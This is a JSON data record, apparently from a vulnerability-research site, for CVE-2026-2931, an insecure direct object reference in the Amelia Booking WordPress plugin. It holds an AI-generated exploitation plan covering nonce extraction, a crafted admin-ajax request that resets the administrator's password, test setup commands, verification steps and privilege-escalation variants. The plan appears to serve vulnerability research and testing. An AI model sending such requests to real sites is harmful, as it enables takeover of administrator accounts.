[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhJCdH3QEnpyNxuUW0WB8rxMm2ZKEbbNGGCsm8vpXZFE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":26,"research_started_at":27,"research_completed_at":28,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":29},"CVE-2026-2931","amelia-booking-authenticated-customer-insecure-direct-object-reference-to-arbitrary-user-password-change","Amelia Booking \u003C= 9.1.2 - Authenticated (Customer+) Insecure Direct Object Reference to Arbitrary User Password Change","The Amelia Booking plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 9.1.2. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for authenticated attackers with customer-level permissions or above to change user passwords and potentially take over administrator accounts. The vulnerability is in the pro plugin, which has the same slug.","ameliabooking",null,"\u003C=9.1.2","9.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-03-25 15:31:53","2026-03-26 03:37:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9dbaafbb-ab7b-41d8-a8f7-178b9d42b4c5?source=api-prod",1,[],"researched",false,3,"This plan outlines the research and exploitation strategy for **CVE-2026-2931**, an IDOR vulnerability in the Amelia Booking plugin that allows authenticated customers to change the password of any user, including administrators.\n\n### 1. Vulnerability Summary\nThe Amelia Booking plugin (up to 9.1.2) contains an Insecure Direct Object Reference (IDOR) in its user management logic. The plugin exposes internal API routes via `admin-ajax.php` (action: `wp_amelia_api`) or the REST API. When a user (even with \"Customer\" permissions) attempts to update a profile, the backend fails to verify that the `id` of the user being modified matches the `id` of the currently authenticated user. By providing an arbitrary user ID (e.g., ID `1` for the administrator), an attacker can trigger a password reset for that account.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wp_amelia_api` (This is the primary gateway for Amelia's internal Slim-based router).\n*   **Route:** `\u002Fusers\u002F{id}` (PUT\u002FPOST request).\n*   **Vulnerable Parameter:** The `{id}` in the URL path and\u002For the `id` within the JSON payload.\n*   **Payload Parameters:** `password`, `password_confirm` (or `passwordConfirm`), and `email`.\n*   **Authentication:** Authenticated. The attacker must have a user account with at least the \"Amelia Customer\" role.\n*   **Preconditions:** The Amelia plugin must be active, and a \"Customer\" user must be created.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The request hits `AmeliaBooking\\Infrastructure\\WP\\Helper\\WpDateTimeHelper` (or similar bootstrap) which registers the `wp_ajax_wp_amelia_api` and `wp_ajax_nopriv_wp_amelia_api` hooks.\n2.  **Routing:** The `wp_amelia_api` handler passes the `route` parameter to Amelia's internal Slim application container.\n3.  **Controller:** The route `\u002Fusers\u002F{id}` is mapped to a controller, likely `AmeliaBooking\\Application\\Controller\\User\\UserController::update` or `CustomerController::update`.\n4.  **Vulnerability:** Inside the `update` method, the code retrieves the user object based on the `$params['id']`. It performs a capability check (e.g., `is_user_logged_in()`) and verifies a nonce, but it **does not** check if the authenticated user's ID matches the target `$params['id']`, nor does it restrict \"Customers\" from modifying \"Administrators\".\n5.  **Sink:** The controller calls a service (e.g., `UserService`) which eventually calls `wp_set_password($new_password, $user_id)`.\n\n### 4. Nonce Acquisition Strategy\nAmelia requires a nonce for its API requests, usually localized as `wpAmeliaNonce`.\n\n1.  **Shortcode Identification:** Amelia's customer panel is typically rendered via the `[ameliacustomerpanel]` shortcode.\n2.  **Setup:** Create a page containing this shortcode.\n3.  **Extraction:**\n    *   Navigate to the page as the authenticated \"Customer\" user.\n    *   The nonce is usually found in the `ameliaBookingData` or `wpAmeliaLabels` global JavaScript objects.\n    *   **JS Extraction Command:**\n        ```javascript\n        browser_eval(\"window.ameliaBookingData?.nonce || window.wpAmeliaLabels?.nonce\")\n        ```\n    *   *Note:* If the nonce is passed via a header, it is typically `Amelia: \u003Cnonce>`.\n\n### 5. Exploitation Strategy\nThe exploit involves sending a `POST` (or `PUT` simulated via `POST`) request to the Amelia API handler targeting the administrator ID.\n\n*   **Step 1: Authentication:** Log in as a user with the `Amelia Customer` role.\n*   **Step 2: Target Identification:** Identify the Administrator ID (Standardly `1`).\n*   **Step 3: Construct the Request:**\n    *   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php?action=wp_amelia_api&route=\u002Fusers\u002F1`\n    *   **Method:** `POST`\n    *   **Headers:**\n        *   `Content-Type: application\u002Fjson`\n        *   `Amelia: \u003CNONCE_EXTRACTED_IN_STEP_4>`\n    *   **Payload:**\n        ```json\n        {\n          \"id\": 1,\n          \"password\": \"PwnedPassword123!\",\n          \"passwordConfirm\": \"PwnedPassword123!\",\n          \"email\": \"admin@example.com\"\n        }\n        ```\n    *   *Note:* Amelia routes sometimes require a `PUT` method. Since `admin-ajax.php` is primarily `POST`, Amelia often checks for a `_method: PUT` field in the JSON or uses the `route` query param logic to determine the controller action.\n\n### 6. Test Data Setup\n1.  **Administrator:** Ensure a user with ID `1` exists (default).\n2.  **Attacker User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber\n    # Amelia roles are often managed via its own settings, but 'subscriber' is sufficient for the WP login.\n    # Ensure the user is recognized as an Amelia Customer by booking a dummy appointment or via:\n    wp amelia create_user --id=attacker_wp_id --type=customer (if CLI available)\n    ```\n3.  **Public Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Amelia Panel\" --post_status=publish --post_content='[ameliacustomerpanel]'\n    ```\n\n### 7. Expected Results\n*   **Success Response:** The server returns a `200 OK` with a JSON object containing the modified user data: `{\"status\": \"success\", \"data\": {...}}`.\n*   **Effect:** The password for the user with ID `1` is immediately changed to `PwnedPassword123!`.\n*   **Failure Response:** A `403 Forbidden` (nonce\u002Fauth failure) or `401 Unauthorized`.\n\n### 8. Verification Steps\n1.  **Attempt Login:** Try to log in as the administrator with the new password using the `http_request` tool.\n2.  **WP-CLI Check:**\n    ```bash\n    # Check the user's last password change date if meta is tracked, \n    # or simply verify login capability:\n    wp user check-password 1 \"PwnedPassword123!\"\n    ```\n    Expected output: `Success: Password is correct.`\n\n### 9. Alternative Approaches\n*   **REST API Path:** Amelia also registers REST routes. If the AJAX endpoint is blocked, try:\n    `POST \u002Fwp-json\u002Fameliabooking\u002Fv1\u002Fusers\u002F1`\n*   **Field Variation:** Some Amelia versions use different camelCase vs snake_case for parameters. If `passwordConfirm` fails, try `password_confirm`.\n*   **Role Escalation:** Check if the payload accepts a `role` parameter (e.g., `\"role\": \"admin\"`), which would be a direct privilege escalation via the same IDOR.","gemini-3-flash-preview","2026-04-17 22:48:23","2026-04-17 22:48:51",{"type":30,"vulnerable_version":31,"fixed_version":9,"vulnerable_browse":32,"vulnerable_zip":33,"fixed_browse":9,"fixed_zip":9,"all_tags":34},"plugin","2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags\u002F2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fameliabooking.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fameliabooking\u002Ftags"]